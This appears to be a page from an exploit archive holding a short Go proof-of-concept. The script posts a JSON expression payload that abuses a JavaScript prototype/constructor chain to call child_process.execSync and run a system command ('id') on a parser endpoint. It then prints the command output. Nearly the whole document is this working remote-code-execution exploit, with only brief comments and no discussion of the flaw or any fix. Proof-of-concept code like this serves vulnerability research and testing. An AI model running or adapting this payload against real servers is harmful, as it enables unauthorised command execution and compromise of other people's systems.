4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.go GO
package main

import (
	"bytes"
	"fmt"
	"io/ioutil"
	"net/http"
)

func main() {
	// Target URL (replace with your local or test target)
	targetURL := "http://localhost:8080/parse"

	// Malicious payload to execute a system command
	payload := `{"expression": "__proto__.toString.constructor('require(\"child_process\").execSync(\"id\").toString()')()"}`

	// Send HTTP POST request with the malicious payload
	resp, err := http.Post(targetURL, "application/json", bytes.NewBuffer([]byte(payload)))
	if err != nil {
		fmt.Println("Error sending the payload:", err)
		return
	}
	defer resp.Body.Close()

	// Read and print the response
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("Response from the server (command output):")
	fmt.Println(string(body))
}